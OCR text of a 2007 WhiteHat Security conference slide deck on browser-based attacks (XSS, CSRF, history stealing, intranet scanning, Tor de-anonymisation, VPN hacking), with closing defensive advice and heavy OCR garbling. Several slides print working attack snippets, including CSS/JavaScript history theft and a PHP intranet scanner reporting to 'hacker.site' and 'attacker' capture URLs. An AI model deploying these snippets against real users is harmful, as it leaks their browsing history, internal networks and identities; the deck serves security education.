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Comments from last year...

“DISTURBING?”

BRIAN KREBS, WASHINGTON POST

“] HAVE TO GO HOME AND CHANGE
THE PASSWORD OF MY DSL ROUTER!”

SEVERAL BLACKHAT ATTENDEES

“RSNAKE AND JEREMIAH PRETTY MUCH DESTROYED
ANY SECURITY WE THOUGHT WE HAD LEFT, INCLUDING
THE I’LL JUST BROWSE WITHOUT JAVASCRIPT
MANTRA. COULD YOU REALLY CALL THAT BROWSING

ANYWAY 2?77
KYRAN

,;"\\!Vhlteﬂljﬁaﬁg
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The big 3!

CROSS-SITE SCRIPTING (XS585S) - FORCING MALICIOUS
CONTENT TO BE SERVED BY A TRUSTED WEBSITE TO AN
UNSUSPECTING USER.

CROSS-SITE REQUEST FORGERY (CSRF) - FORCING AN
UNSUSPECTING USER’S BROWSER TO SEND REQUESTS
THEY DIDN’T INTEND. (WIRE TRANSFER, BLOG POST, ETC.)

JAVASCRIPT MALWARE - PAYLOAD OF AN XSS OorR CSRF
ATTACK, TYPICALLY WRITTEN IN JAVASCRIPT, AND
EXECUTED IN A BROWSER.

about:blank N

- 7 E:]HI(3 -@:T§@vl
attacker.com

EXPLOITING
THE S AME- Read OK

ORIGIN POLICY

teHat

SLCURITY
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Getting hacked by JavaScript Malware

WEBSITE OWNER EMBEDDED JAVASCRIPT MALWARE.

WEB PAGE DEFACED WITH EMBEDDED JAVASCRIPT
MALWARE.

JAVASCRIPT MALWARE INJECTED INTO A PUBLIC
AREA OF A WEBSITE. (PERSISTENT X585)

CLICKED ON A SPECIALLY-CRAFTED LINK CAUSING
THE WEBSITE TO ECHO JAVASCRIPT MALWARE.
(NON-PERSISTENT XS55)

,_L:'LYV hl’[eﬂdﬁtr
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Timeline

OWASP CSRF
CSRF added as #5 on the
OWASP Top Ten project

WHAT’S NEXT? 2007
XSS disclosed everywhere MITRE CVE Trends
sla.ckers.org forum posts over Says CSRF is under

Intranet Hacking
WhiteHat Security discovers JavaScript
can be used for port scanning

2006 Web browser hacking takes off

stats increase

DOM-Based XSS Over 70 new attack techniques
Amit Klein discovers a new form show up in 2006

of XSS where the server doesn’t

see the payload Phishing w/ Super Bait

XSRF
Jesse Burns (iSec), writes a white
g paper, likes this acronym better
Session Riding
Thomas Schreiber discovers CSREF, -
writes a white paper, changes the name

WhiteHat Security shows how Phishing
attacks using XSS are more effective

Samy Worm
Web Worm infects 1 millon
MySpace profiles using XSS/CSRF

2004
Client-Side Trojans 2001 Cross Site Request Forgery
Zope discovers Web Peter Watkins discovers Client-Side
version of Confused Depu Trojans, CSRF, pronounces it "sea surf"

2000

HTML Injection
CERT issues an advisory about
malicious content being uploaded

1988 Confused Deputy — .
Original CSRF theory ———-—....ﬁ___Whﬁeq!:!E.th
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DENIAL

ANGER
BARGAINING
DEPRESSION

ACCEPTANCE

‘“] PATCH MY BROWSER, HAVE A FIREWALL
AND USE NAT. WHAT DO | HAVE T0O BE
WORRIED ABOUT?” Browserdoesn’t_matter much

W, 9
N / B
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History Stealing using JavaScript and CSS

CYCLES THROUGH THOUSANDS OF URLS
CHECKING THE LINK COLOR.

document.body.appendChild(l);

var ¢ = document.defaultView.getComputedStyle(l,null).getPropertyValue("color");

document.body.removeChild(l);

// check for visited
if (c == "rgb(0, 0, 255)") { // visited

} else { // not visited

}+ // end visited check

COMMON INTRANET
HOSTNAMES MAKE GOOD
TARGETS AS WELL...

http://ha.ckers.org/fierce/hosts.txt

© 2007 WhiteHat Security, Inc.
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Steal History

[« -c](+]®

- /Qv Google @

‘Steal History

visited

visited

visited

visited

visited

http:/login.yahoo.com/
http://mail.google.com/
http://mail.yahoo.com/
http://my.vahoo.cony/
http://slashdot.org/
http://www .myspace.com/
http://www .amazon.com/
http://www .aol.com/

http://www bankofamerica.com/
http://www .bankone.com/

http://www blackhat.com/
http://www blogger.com/
http://www bofa.com/
http://www capitalone.com/

http://www chase.com/
http://www citibank.com/

http://www .cnn.com/
http://www .comerica.com/
http://www .e-gold.com/

http://www .ebay.com/

httn /g atrade com/

e ﬁt
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http://ha.ckers.org/fierce/hosts.txt
http://ha.ckers.org/fierce/hosts.txt

0 ba
01 back
02 backend
03 bkup
1 b r
10 b rsfield
11 . b
administrators
12 : apps balancer
admins .
13 d appserver baltimore
14 ads aq banking
adserver
15 e ar bayarea
16 Z S archie bb
17 d
18 a
affat
19
afflates
2 filiados de
20 @ arlington be
ag
3 aaenda as bea
3com agent as400 beta
4 a? asia bf
5 : bg
6 alx bh
7 ” bi
8 a . lant billing
akamai .
9 | las biz
ILMI a att biztalk
alabama .
a au bj
alaska .
a.auth-ns b ' auction black
ao1 abuquerque austin blackberry
alerts
a02 0g
ail gs
a0 rwmd lue
abc
about ayuda
americas
ac " bnc
academico Znaheim b bo
acceso analvzer b.auth-ns bob
access y b01
. unce _
accounti
account

acid

activest

ad b2c boulder
© 2007 Whitelqafl%%urity, Inc.

http://ha.ckers.org/fierce/hosts.txt

boy careers clubs corpmail cv
br catalog cluster corporate CVS
bravo cC clusters correo cX
brazil cd cm correoweb cy
britian cdburner cmail cortafuegos cz
broadcast cdn cms counterstrike d
broker cert cn courses dallas
bronze certificates co cr data
brown certify cocoa cricket database
bs certserv code crm databaseO1
bsd certsrv coldfusion crs database02
bsd0 cf colombus cS database1
bsd database?2
b S databases
datastore
d2 annel datos
bt channels commerceserver custt david
bug charlie communigate cust10 db
buggalo charlotte community cust100 db0
bugs chat compaq cust101 db01
bugzilla chats compras cust102 db02
build chatserver con cust103 db1
bulletins check concentrator cust104 db2
burn checkpoint conf cust105 dc
burner chi conference cust106 de
buscador chicago conferencing cust107 dealers
buy ci confidential cust108 dec
bv cims connect cust109 def
bw cincinnati connecticut custii default
by isco corgabla st11 efiant
bz IX corble t11 delaware
It t11 dell
C. -Nn lta t11 elta
ca class consultants cust114 deltat
cache classes consulting cust115 demo
cafe classifieds consumer cust116 demonstration
calendar classroom contact cust117 demos
california cleveland content cust118 denver
] cust119 depot
lvin custi2 des
nada cust120 desarrollo
nal custi21 descargas
canon cust122 design

documentacion
documentos
domain
domains
dominio
domino
dominoweb
doom
download
downloads
downtown
dragon
drupal

dsl

dyn
dynamic
dynip

dz

=

e-com
e-commerce
e0

eagle

earth

east

ec

echo

ecom
ecommerce
edi

edu
education
edward

ee

€g

eh

ejemplo
elpaso
email
employees
empresa
empresas
en
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Intranet Hacking

database

Bug Trackmg

Intemal WWW

&

IP Phone

© 2007 WhiteHat Security, Inc.

SSH

Website with
JavaScript Malware

FTP

Victim Firewall

VPN

ATTACKS CAN PENETRATE THE
INTRANET BY CONTROLLING/
HIJACKING A USER’S BROWSER AND
USING JAVASCRIPT MALWARE,

WHICH IS ON THE INSIDE OF THE
NETWORK.

,_____\W hiteHat

SLCURITY
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Compromise NAT'ed |IP Address with Java

Send internal IP address where JavaScript can access it (220 What is my IP Address?
| < B [i] 1?'@hl[tpu,’,fmgIc:»s.t:le,n'r'rwa':lld|:iref.5,’ ~(Q~ GCoogle "\‘
Your local IP Address is 19£.165.201.203

<APPLET CODE="MYAC|C|F€SS.C|aSS"> Documentation and Download of this let 2002 Lars Einde

<PARAM NAME="URL" VALUE="demo.htmI[?IP=">

</APPLET>

LARS KINDERMANN
function natIP() { HTTP:/REGLOS.DE/MYADDRESS/
var w = window.location;

var host = w.host;
var port = w.port || 80;

var Socket = (new java.net.Socket(host,port)).getLocalAddress().getHostAddress();
return Socket;

y

OR GUESS! SINCE MOST EVERYONE IS ON

192.168.1/0 aor 10.0.1/0 1T’S NOT A BIG DEAL
IF JAVA IS DISABLED.

“QW hl’[ee_!jlﬁtr
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http://reglos.de/myaddress/
http://reglos.de/myaddress/

JavaScript can scan for Web Servers

ATTACKER CAN FORCE A USER’S BROWSER TO SEND
HTTP REQUESTS TO ANYWHERE, INCLUDING THE TO
THE INTRANET.

<SCRIPT SRC="http://192.168.1.1/"></SCRIPT>
<SCRIPT SRC="http://192.168.1.2/"></SCRIPT>
<SCRIPT SRC="http://192.168.1.3/"></SCRIPT>

<SCRIPT SRC="http://192.168.1.255/"> < /SCRIPT>

IF A WEB SERVER IS OO0 JavaScriptCnnﬁc;-le =
LISTENING, HTML wiLL ﬁ @ Q) @ _ H

BE RETURNED BAUS'NG Errors  Warnings Messages g Clear

THE JS INTERPRETER TO ——

ERROR. [_ Source File: hitp://localhost/ Line:1
) <IDOCTYPE html PUBLIC "MW ICHDTD XHTHML 1.0 Transi...

Evaluate

IF THERE IS AN ERROR, A WEB SERVER EXISTS

—= ¥hitegjat

13
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http://192.168.1
http://192.168.1
http://192.168.1
http://192.168.1
http://192.168.1
http://192.168.1
http://192.168.1
http://192.168.1

‘-‘ﬂ} Tor node
-« g UNERGFypLed link

Bypassing Tor/Privoxy

IJ:J Tor node
- o e Un@ncrypted Ink

——pp ancrypted link

E) How Tor Works: 1

Alice

A

- Step 1: Alice's Tor
- client obtains a list
- of Tor nodes from
- adirectory server.

Dave

——pe oncrypted link

Alice
| 0 - =

E) How Tor Works: 2

picks a random path to
destination server. Green - -
links are encrypted, red - ____ """"
links are in the clear. f Jane
— T R+ [ —
Dave E — Bob

E) How Tor Works: 3

{:J Tor node
« « e unencrypbed link

—p Gncrypted link

access to another site,
Alice's Tor client selects
a second random path.
Again, green links are
encrypted, red links are
in the clear.

[/\_/ e
. - ‘ o el Bt e
: = ; Bob

;::LXVMt

---------

© 2007 WhiteHat Security, Inc.
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In case you need to de-anonymize (1)

JAVA SOCKETS DO NOT USE THE BROWSER NETWORK APIs. (NO PROXY)

var | = document.location;

var h =l.host.toString();

var h = 80;

var addr = new java.net.InetAddress.getByName(h);

var ¢ = java.nio.channels.SocketChannel.open(new java.net.InetSocketAddress(h, p));
var line = "GET / HTTP/1.1 \nHost: " + h + "\n\r\n";

var sl = new java.lang.String(line);

c.write(java.nio.ByteBuffer.wrap(sl.getBytes()));

//Allocate a buffer to read the data from the server.
var buffer = java.nio.ByteBuffer.allocate(8000);
c.read(buffer);

alert(new java.lang.String(buffer.array()));

1.1.1.1 --[27/Jul/2007:09:29:52 -0700] "GET / HTTP/1.1" 304 - "-" "Mozilla/5.0 (Windows;
Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5"

2.2.2.2.2 - - [27/3ul/2007:09:29:53 -0700] "GET /log.cgi HTTP/1.1 "200 1879 "-" "-"

,QW h'tes!j.ﬁtr

© 2007 WhiteHat Security, Inc.
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In case you need to de-anonymize (2)

WINDOWS NETWORKING MICROSOFT-DS AND
NETBIOS-SSN SNIFFING FROM INSIDE IMAGES

<img src="file:///\\123.123.123.123/...">

http://ha.ckers.org/blog/20070421/noisy-decloaking-methods/ """--..._W h Ites,_-d,‘E}E
© 2007 WhiteHat Security, Inc.
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http://ha.ckers.org/fierce/hosts.txt
http://ha.ckers.org/fierce/hosts.txt

DENIAL

ANGER

BARGAINING

DEPRESSION

ACCEPTANCE

“WHAT WERE THE BROWSER DEVELOPERS
THINKING! 217

© 2007 WhiteHat Security, Inc.
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What about these?

ENUMERATING EXTENSIONS, OS
APPLICATIONS, AND USERNAMES

COMPROMISING PASSWORD MANAGER
USERNAMES AND PASSWORDS

AND THAT’S BESIDES NEVER ENDING SUPPLY OF
BUFFER OVERFLOW, CACHE POISONING, AND URL
SPOOFING “EXPLOITS?”

,Qy hites_!:lugw’gr

© 2007 WhiteHat Security, Inc.
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Rich Internet Applications (RIA)

MORE FUN TO BE HAD...

FLASH, ACTIVE-X, SILVERLIGHT, JAVA,
RUICKTIME, WINDOWS MEDIA PLAYER,
ACROBAT, AND HUNDREDS OF
BROWSER EXTENSIONS

,Qy hites_!:lugw’gr

© 2007 WhiteHat Security, Inc.
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DENIAL
ANGER

BARGAINING

DEPRESSION
ACCEPTANCE

“1I’LL USE NOSCRIPT, SAFEHISTORY,
INSTALL A VPN, AND MAYBE TURN OFF
JAVASCRIPT.”

© 2007 WhiteHat Security, Inc.
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Login Detection

DIFFERENT JAVASCRIPT ERROR MESSAGES ARE
RETURNED DEPENDING ON THE LOGIN/LOGOUT
STATUS OF THE USER. SAFEHISTORY WON’T HELP.

<script src=" http://mail.google.com/mail/">

oy Oy 0 JavaScript Console =)

ﬁ@.ﬁ@j

Errors Warning:  Messages Clear

Evaluate

~Efror: XML tag name mismatch
Source File: http:/ /mail.google.com/mailf

Evaluate

Erfor: invalid XML attribute value
£ Source Flle: heep:/ fmail google.com/mailf
d Zseript type=text/javascripr>

—= ¥hitegjat

21
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http://mail.google.com/mail/
http://mail.google.com/mail/

History Stealing without JavaScript

CYCLE THROUGH THE SAME URLS, NOSCRIPT
WON’T HELP.

<html|>
<style>
#links a:visited {
color: #ffOOff;
b
#links a:visited#link1 {
background: url('/capture.cgi?login.yahoo.com');
b
#links a:visited#link2 {
background: url('/capture.cgi?mail.google.com');
b
#links a:visited#link3 {
background: url(‘/capture.cgi?mail.yahoo.com');
b
</style>
<body>

<ul id="links">

<li><a id="link1" href="http://login.yahoo.com/">http://login.yahoo.com/</a></li>

<li><a id="link2" href="http://mail.google.com/">http://mail.google.com/</a></li>

<li><a id="link3" href="http://mail.yahoo.com/">http://mail.yahoo.com/</a></li>

</ul>

</body> —\ Wh
</html> —— Vnit

© 2007 WhiteHat Security, Inc.

eHat

SLCURITY

22


http://login.yahoo.com
http://login.yahoo.com
http://login.yahoo.com
http://login.yahoo.com
http://mail.google.com
http://mail.google.com
http://mail.google.com
http://mail.google.com
http://mail.yahoo.com
http://mail.yahoo.com
http://mail.yahoo.com
http://mail.yahoo.com

Ping/Web Server Sweep using HTML

THE LINK TAG WILL HALT A RENDERING PAGE UNTIL
THE HOST RESPONDS OR TIMES OUT. NO JAVASCRIPT
REQUIRED.

<link rel="stylesheet" type="text/css" href="http://192.168.1.1/" />
<img src="http://attacker/capture.pl?ip=192.168.1.1&time=1185827436" />

BY MEASURING THE TIME OF THE IMG TAG
REQQUEST, IT’S POSSIBLE TO TELL IF THERE IS A
WEB SERVER OR HOST ACTIVE.

THE ONLY PROBLEM IS THIS METHOD IS SLOW,
BUT ILIA ALSHANETSKY IMPROVED IT WITH A
CLEVER TECHNIQUE....

“QW hl’[ee_!jlﬁtr

© 2007 WhiteHat Security, Inc.
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http://192.168.1.1
http://192.168.1.1
http://attacker/epoch.pl?ip=192.168.1.1&time=0
http://attacker/epoch.pl?ip=192.168.1.1&time=0

Content-Type: multipart/x-mixed-replace

ALLOWS SEGMENTS OF HTML THAT EACH REPRESENT A
UNIQUE PAGE. WHEN A BROWSER GETS A NEW SEGMENT
IT THROWS OUT THE OLD ONE AND RENDERS THE NEW.

<?php

$boundary = '----".rand(1000, 9999).'----";

header('Content-Type: multipart/x-mixed-replace; boundary=".$boundary);
for ($i=1; $i < 256; Si++) {

echo’

—-".$boundary.’

Content-Type: text/html; charset=utf-8

<p>testing ip <b>192.168.1.'.$i.'</b></p>

<link rel="stylesheet" type="text/css" href="http: [[192 168.1.".%i."/" />
<img src="http://hacker.site/scan.php?ip=192.168.1.".%i. &s— time(."' />

flush();
sleep(3);
}
SCAN.PHP
<?php
session_start();
file_put_contents(
"/tmp/scan_".session_id().".txt", NO IE
{$S_GET['ip']} - {$_GET['s']} {$_SERVER['REQUEST_TIME']}\n", 5
FILE_APPEND|LOCK_EX SUPPORT
);
http://ilia.ws/archives/145-Network-Scanning-with-HTTP-without-JavaScript.html _'—Q\_WI h Ites!:!,ﬁ!:.

© 2007 WhiteHat Security, Inc.
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http://192.168.1
http://192.168.1
http://hacker.site/scan.php?ip=192.168.1.'.$i.'&s='.time().'
http://hacker.site/scan.php?ip=192.168.1.'.$i.'&s='.time().'
http://ha.ckers.org/fierce/hosts.txt
http://ha.ckers.org/fierce/hosts.txt

WHO NEEDS WEB 2.0 HACKING WHEN
WEB 0.9 WORKS JUST FINE.

BESIDES, WHO REALLY DISABLES
JAVASCRIPT ANYWAY?

OK, OK, OUuTSIDE OF THIS ROOM?Y

OR, WHAT HAPPENS WHEN THE
JAVASCRIPT MALWARE IS BEING
HOSTED ON A TRUSTED WEBSITE?

(sOoclAL NETWORK, WEBMAIL, WEB
BANK, ETC.)

© 2007 WhiteHat Security, Inc.
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oSplit VPN Tunnel Hacking

SURFING WHILE CONNECTED TO THE CORPORATE
NETWORK MAY BE SECURE WITH CONTENT FILTERING.
HOWEVER, NOT IN THE CASE OF SPLIT VPN TUNNELS.

ATTACKER CONTROLLED WEB PAGES (I.E. BADGUY.COM)
CAN LAUNCH SEVERAL WELL-KNOWN X585 EXPLOITS.

INTRANET TARGETS CAN BE COLLECTED THROUGH
PASSIVE RECON SUCH AS REFERER LEAKING OR
ACTIVELY THROUGH BROWSER HISTORY HACKS.

,_L_.”LYV hltﬁgjugﬁg

26
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VPN Set-Up

Internal web | Firewall
server VPN badguy.com

database

,QW h'tes!j.ﬁtr

© 2007 WhiteHat Security, Inc.
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VPN Hacking

database

© 2007 WhiteHat Security, Inc.

Internal web
server

Firewall i

addons.mozilla.org

VPN xml1.maps.yahoo.com/ulm.xmli?r=5050

1) Victim goes to Google attempting to protect themselves using noscript
2) Man in the middle can modify page that Victim sees because Google is not encrypted

3) Man in the middle sends Victim to addons.mozilla.com but on http vs. htips
4) Man in the middle injects JavaScript, bypassing noscript's whitelist protection
5) Man in the middle sends user to xml1.maps.yahoo.com/ulm.xml?r=5050 and steals

address information
6) Man in the middle sends victim to their own Intranet to begin intranet hacking

*‘:‘:‘L-W hltestlﬁ’g
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Example Recon

65.57.245.11 - - [01/Mar/2007:16:22:06 -0800] "GET /... HTTP/1.1" 200 6793 "http./
reactor.corp.google.cony/..." "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.2pre) Gecko/20070223
Camino/1.1b"

193.138.107.179 - - [28/Jun/2007:01:15:38 -0700] "GET /... HTTP/1.0" 304 - "http:/
corporate l.internal.standardlife.comy/..." "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; NET CLR
2.0.50727; InfoPath.1)"

68.254.179.254 - - [03/Jul/2007:13:21:40 -0700] "GET /... HTTP/1.1" 200 88698 "http://
collab.corp.efunds.comy/..." "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"

15.227.217.77 - - [18/Jun/2007:07:00:14 -0700] "GET /... HTTP/1.1" 200 13823 "http://wildcat.boi.hp.comy/... "
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 3.1; SV1; NET CLR 1.0.3705; .NET CLR 1.1.4322;
Tablet PC 1.7; NET CLR 2.0.50727)"

130.76.32.15 - - [19/Jun/2007:14:12:31 -0700] "GET /... HT'TP/1.1" 200 179 "http://bestis.web.boeing.cony/..."
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"

216.239.124.38 - - [19/Jun/2007:16:32:29 -0°700] "GET /... HT'TP/1.1" 200 88699 "http:/
wiki.sparta.cnet.cony..." "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515
Firefox/2.0.04"

,Qy hites_!:lugw’gr

© 2007 WhiteHat Security, Inc.
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AIRPWN + X8S + CSRF

ARIAN’S IDEA
(CIRCA 2004)

http://www.anachronic.com/file archive/advisories/01.10.2004.aeadvisory.ixt

http://archives.neohapsis.com/archives/sf/www-mobile/2004-q4/0025.html
© 2007 WhiteHat Security, Inc.
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http://ha.ckers.org/fierce/hosts.txt
http://ha.ckers.org/fierce/hosts.txt

DENIAL
ANGER
BARGAINING

DEPRESSION

ACCEPTANCE

“]1’M GOING BACK TO USING

© 2007 WhiteHat Security, Inc.
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Web security is an oxymoron

FIREWALLS AND NAT AREN’T WHAT THEY USED TO BE

THE BROWSER IS PATCHED, SO WHAT?

I’ M NOT THE TARGET, BUT EVERYONE ELSE ON MY
NETWORK IS

BROWSER SECURITY NEEDS A SERIOUS RETHINK

BROWSER ADD-ONS HELP, BUT ONLY BY SERIOUSLY
HOBBLING THE USER EXPERIENCE SO USERS WON’T

ADOPT THEM ANYWAY

REMOTE USERS AND VPN CONNECTIONS ARE OPEN TO
EXPLOITATION

,;"\\!Vhlteﬂljﬁaﬁg

32
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DENIAL L4
i

ANGER s s
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“SURE THE WEB IS HOSTILE, BUT | CAN
PROTECT MYSELF.”
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Web Browser Security

SURF WITH TwWO WEB BROWSERS OR VMWARE’D
PATCH, PATCH, PATCH, DISABLE, DISABLE, DISABLE

STACK UP YOUR ADD-ONS (NOSCRIPT,
SAFEHISTORY, NETCRAFT TOOLBAR, EBAY TOOLBAR,

ETC.)
LOGOUT, CLEAR COOKIES, CLEAR HISTORY

STOP USING LAPTOPS LIKE FIREWALLS (RELYING ON
THE BROWSER TO SEPARATE DOMAINS FOR US ISN’T
WORKING)
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1 WISH...

PUBLIC WEB PAGES SHOULD NOT
BE ABLE TO INITIATE REQUESTS
TO PRIVATE IPs (RFQO).

CONTENT-RESTRICTION TOO WHEN YOU
GET AROUND T1T0O IT.

http://www.gerv.net/security/content-restrictions/
© 2007 WhiteHat Security, Inc.
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http://ha.ckers.org/fierce/hosts.txt
http://ha.ckers.org/fierce/hosts.txt

Website Security

ASSET TRACKING — FIND YOUR WEBSITES, ASSIGN A RESPONSIBLE
PARTY, AND RATE THEIR IMPORTANCE TO THE BUSINESS.
BECAUSE YOU CAN’T SECURE WHAT YOU DON’T KNOW YOU OWN.

MEASURE SECURITY — PERFORM RIGOROUS AND ON-GOING
VULNERABILITY ASSESSMENTS, PREFERABLY EVERY WEEK.
BECAUSE YOU CAN’T SECURE WHAT YOU CAN’T MEASURE.

DEVELOPMENT FRAMEWDORKS — PROVIDE PROGRAMMERS WITH
SOFTWARE DEVELOPMENT TOOLS ENABLING THEM TO WRITE CODE
RAPIDLY THAT ALSO HAPPENS TO BE SECURE. BECAUSE, YOu
CAN’T MANDATE SECURE CODE, ONLY HELP IT.

DEFENSE-IN-DEPTH — THROW UP AS MANY ROADBLOCKS TO
ATTACKERS AS POSSIBLE. THIS INCLUDES CUSTOM ERROR
MESSAGES, WEB APPLICATION FIREWALLS, SECURITY WITH
OBSCURITY, AND SO ON. BECAUSE 8 IN 10 WEBSITES ARE
ALREADY INSECURE, NO NEED TO MAKE IT ANY EASIER.
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One more thing...

CUPS HACKING
OS X: http://localhost:631/

& & & Common UNIX Printing System
|_ Syl | ‘ v | ‘ + | 3 http:/ /localhost:631/ a'Q- Google

On-Line Help
Manage Jobs

Download the Current CUPS Software | | .c-reo Bv:

KURT GRUTZMACHER

The Common UNIX Printing System, CUPS, and the CUPS logo are the rademark property SETH BROMBERGER
of Easy Software Products. CUPS is copyright 1997-20035 by Easy Software Products, All
r-_ - L]
\ WhiteHat

Rights Reserved.
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http://localhost:631
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Thank you

FOR MORE INFORMATION VISIT:

HTTP:.// WWW.WHITEHATSEC.COM/

HTTP://WWW.SECTHEORY.COM/ —\ WhiteHat
g . SECURITY

SecTheory

Internet Security Consulting

JEREMIAH GROSSMAN (FOUNDER AND GCT0O)
JEREMIAH(@WHITEHATSEC.COM

ROBERT “RSNAKE” HANSEN (CEQO)
RDBERT@SEC:THEDRY.E:DM
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